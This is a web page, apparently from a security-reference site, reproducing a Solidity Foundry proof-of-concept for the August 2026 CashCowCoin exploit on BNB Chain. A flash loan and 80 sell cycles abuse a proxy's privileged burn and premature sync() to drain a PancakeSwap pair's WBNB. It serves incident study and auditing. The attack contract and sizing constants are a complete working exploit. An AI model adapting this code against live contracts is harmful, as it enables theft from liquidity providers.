Skip to content
THREATWIRE

Public reproduction file

src/test/2026-08/CashCowCoin_exp.sol

Public reproduction file for dataset entry CashCowCoin.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-08/CashCowCoin_exp.sol182 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// CashCowCoin (CCC) — privileged burn + premature sync() pair drain — BNB Chain, 2026-08-27.
8// Attacker net profit ~165.47 WBNB (~$117.4K), the entire WBNB side of the CCC/WBNB pair.
9//
10// Exploit tx : 0x89d8050641019a5a75fa3dafb4f64fb153e4dd30c0f1f51d06a6cc206d3ead43 (block 118384061)
11// Attacker EOA : 0x7977BDeeE3A79Dc85Cc18739692e796B5D2513C4
12// Attacker helper (calldata NOT replayed here) : 0x7738b4D7c25E9A7092AE1AB402343B20340DaEaf
13//
14// Contracts (all real, on-chain, verified this run against the trace and live state):
15// CCC trading proxy (EIP-1967) : 0xf523224c6171f81c54b93f474ed4c78de91241c7
16// implementation : 0x4287742E50fAd6d3351000fD31632412ab29A9ac
17// CCC token : 0xb9B845F718C32f37E8aF8b887ae4eEc816c93CCC (pair token0, fee-on-transfer)
18// WBNB : 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c (pair token1)
19// CCC/WBNB PancakeSwap V2 pair : 0x1DBE9458A6840784d5DEfD62C6b71386100097c0
20// PancakeSwap V2 router : 0x10ED43C718714eb63d5aA57B78B54704E256024E
21// Moolah lending pool (flash) : 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C (impl 0x9321587EA0DC8247f8F03E8696C047b2713bB79A)
22//
23// Root cause (verified on-chain, NOT a stolen key):
24// the trading proxy exposes public, permissionless buy()/sell() entry points. sell(amount, minOut,
25// deadline) does, in order: transferFrom(caller -> proxy) of CCC, a normal CCC->WBNB swap through
26// the pair (proceeds sent to the caller as BNB), THEN calls the CCC token's privileged function
27// 0xb20a0b6f (labeled "TreasuryRefilled") which burns the freshly-arrived post-tax CCC straight out
28// of the pair to 0x...dEaD, and finally calls pair.sync(). The burn selector is gated so only the
29// proxy may call it -- confirmed this run: a direct call from an arbitrary address reverts -- but
30// that gate protects nothing, because the proxy's own public sell() is the thing that calls it, on
31// the caller's behalf. Each sell therefore removes CCC that was just added to the pair and re-syncs,
32// so the pair's CCC reserve stays roughly flat while its WBNB reserve is bled out cycle after cycle.
33//
34// The attacker's exact sequence, verified from the trace (1 buy + 80 sells + 80 privileged burns):
35// 1. Flash-loan 416,831.487 WBNB from Moolah (free, repaid 1:1 at the end).
36// 2. Donate 13,999.890 WBNB into the pair and pair.sync() -- inflate the WBNB reserve as working
37// float so the cycles drain efficiently in 80 steps.
38// 3. buy{value: 402,831.596 BNB} -> receive 8,805,839.807 CCC (post fee-on-transfer tax).
39// 4. sell(8,805,839.807 / 80) x 80. Each sell swaps CCC->WBNB to the attacker as BNB, then the
40// proxy burns ~104,569 CCC out of the pair via 0xb20a0b6f and syncs. Pair WBNB reserve is
41// ratcheted from 165.4899 down to 0.0179; CCC reserve stays ~326,767.
42// 5. Wrap all BNB proceeds (416,996.958), repay the 416,831.487 WBNB flash loan, keep the
43// difference: 165.4719 WBNB.
44//
45// This PoC is a real reconstruction, not a replay. It deploys its own attacker contract that calls
46// the proxy's real buy()/sell() functions with typed calls in an 80-cycle loop, funded by a real,
47// typed Moolah flash loan (the same free capital source the attacker used; no PancakeSwap V2 pair
48// holds anything near 416k WBNB, so a V2 flash swap cannot supply this size). The attacker's helper
49// contract bytecode/calldata at 0x7738b4D7 is never used, and the privileged burn is never called
50// directly -- it runs only because the real proxy.sell() invokes it, exactly as on-chain.
51//
52// forge test --contracts src/test/2026-08/CashCowCoin_exp.sol -vvv --evm-version cancun
54interface IMoolah {
55 function flashLoan(
56 address token,
57 uint256 amount,
58 bytes calldata data
59 ) external;
62interface ICCCProxy {
63 function buy(
64 uint256 amountIn,
65 uint256 amountOutMin,
66 uint256 deadline
67 ) external payable;
68 function sell(
69 uint256 amountIn,
70 uint256 amountOutMin,
71 uint256 deadline
72 ) external;
75interface IWBNB {
76 function deposit() external payable;
77 function withdraw(
78 uint256 wad
79 ) external;
80 function transfer(address to, uint256 wad) external returns (bool);
81 function approve(address spender, uint256 wad) external returns (bool);
82 function balanceOf(
83 address
84 ) external view returns (uint256);
87interface IPancakePair {
88 function sync() external;
89 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
92contract CashCowCoinAttack {
93 IMoolah internal constant MOOLAH = IMoolah(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);
94 ICCCProxy internal constant PROXY = ICCCProxy(0xF523224c6171f81C54b93F474ed4c78dE91241C7);
95 IWBNB internal constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
96 IERC20 internal constant CCC = IERC20(0xb9B845F718C32f37E8aF8b887ae4eEc816c93CCC);
97 IPancakePair internal constant PAIR = IPancakePair(0x1DBE9458A6840784d5DEfD62C6b71386100097c0);
99 // Exact on-chain sizing.
100 uint256 internal constant LOAN = 416_831_487_011_304_318_246_517; // 416,831.487 WBNB flash loaned
101 uint256 internal constant SEED = 13_999_890_970_633_457_505_314; // 13,999.890 WBNB donated to the pair
102 uint256 internal constant BUY = 402_831_596_040_670_860_741_203; // 402,831.596 BNB spent in the single buy
103 uint16 internal constant CYCLES = 80;
105 address internal immutable owner;
107 constructor() {
108 owner = msg.sender;
109 }
111 function attack() external returns (uint256 profit) {
112 // Real, typed flash loan. Moolah hands over the WBNB, calls onMoolahFlashLoan, then pulls
113 // back exactly LOAN via transferFrom (approved below in the callback).
114 MOOLAH.flashLoan(address(WBNB), LOAN, "");
115 profit = WBNB.balanceOf(address(this));
116 WBNB.transfer(owner, profit);
117 }
119 function onMoolahFlashLoan(uint256 assets, bytes calldata) external {
120 require(msg.sender == address(MOOLAH), "not moolah");
121 uint256 deadline = block.timestamp;
123 // Inflate the pair's WBNB reserve with working float, then sync it in.
124 WBNB.transfer(address(PAIR), SEED);
125 PAIR.sync();
127 // Single buy: WBNB -> BNB -> proxy.buy() -> CCC back to this contract.
128 WBNB.withdraw(BUY);
129 PROXY.buy{value: BUY}(BUY, 0, deadline);
131 // Sell the whole CCC stack back in CYCLES equal chunks. Each proxy.sell() runs the real
132 // CCC->WBNB swap and then the proxy's privileged burn + premature sync on the pair.
133 uint256 stack = CCC.balanceOf(address(this));
134 CCC.approve(address(PROXY), type(uint256).max);
135 uint256 chunk = stack / CYCLES;
136 for (uint16 i = 0; i < CYCLES; i++) {
137 PROXY.sell(chunk, 0, deadline);
138 }
140 // Wrap all BNB proceeds and approve the flash-loan repayment.
141 WBNB.deposit{value: address(this).balance}();
142 WBNB.approve(address(MOOLAH), assets);
143 }
145 receive() external payable {}
148contract CashCowCoin_exp is BaseTestWithBalanceLog {
149 IWBNB internal constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
150 IPancakePair internal constant PAIR = IPancakePair(0x1DBE9458A6840784d5DEfD62C6b71386100097c0);
152 uint256 internal constant FORK_BLOCK = 118_384_060; // parent of the exploit block 118384061
153 uint256 internal constant EXPECTED_PROFIT = 165_471_928_251_512_413_319; // 165.4719 WBNB, exact on-chain
155 function setUp() public {
156 vm.createSelectFork("bsc", FORK_BLOCK);
157 vm.label(0xF523224c6171f81C54b93F474ed4c78dE91241C7, "CCC_TradingProxy");
158 vm.label(0xb9B845F718C32f37E8aF8b887ae4eEc816c93CCC, "CCC_Token");
159 vm.label(address(WBNB), "WBNB");
160 vm.label(address(PAIR), "CCC_WBNB_Pair");
161 vm.label(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C, "Moolah");
162 }
164 function testExploit() public {
165 (, uint112 wbnbBefore,) = PAIR.getReserves(); // token1 = WBNB
167 CashCowCoinAttack exploit = new CashCowCoinAttack();
168 uint256 gain = exploit.attack();
170 (, uint112 wbnbAfter,) = PAIR.getReserves();
171 uint256 drained = uint256(wbnbBefore) - uint256(wbnbAfter);
173 emit log_named_decimal_uint("attacker WBNB profit", gain, 18);
174 emit log_named_decimal_uint("WBNB drained from pair", drained, 18);
176 // The pair's WBNB side is essentially emptied.
177 assertLt(uint256(wbnbAfter), 0.1e18, "pair WBNB not drained");
178 // Net profit and the pair drain both land at ~165.47 WBNB.
179 assertApproxEqAbs(gain, EXPECTED_PROFIT, 0.1e18, "profit off expected ~165.47 WBNB");
180 assertApproxEqAbs(drained, EXPECTED_PROFIT, 0.1e18, "drain off expected ~165.47 WBNB");
181 }

Analysis

Dataset entry

Public Foundry test for “CashCowCoin” (2026-08-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7977bdeee3a79dc85cc18739692e796b5d2513c4

  • Attacker

    0x7738b4d7c25e9a7092ae1ab402343b20340daeaf

File record

Name
CashCowCoin
Path
src/test/2026-08/CashCowCoin_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
536d6963af704ad673716eb44e3fd1418f2fafea
Language
Solidity
Size
183 lines
Date
2026-08-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-08/CashCowCoin_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 536d6963af704ad673716eb44e3fd1418f2fafea, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.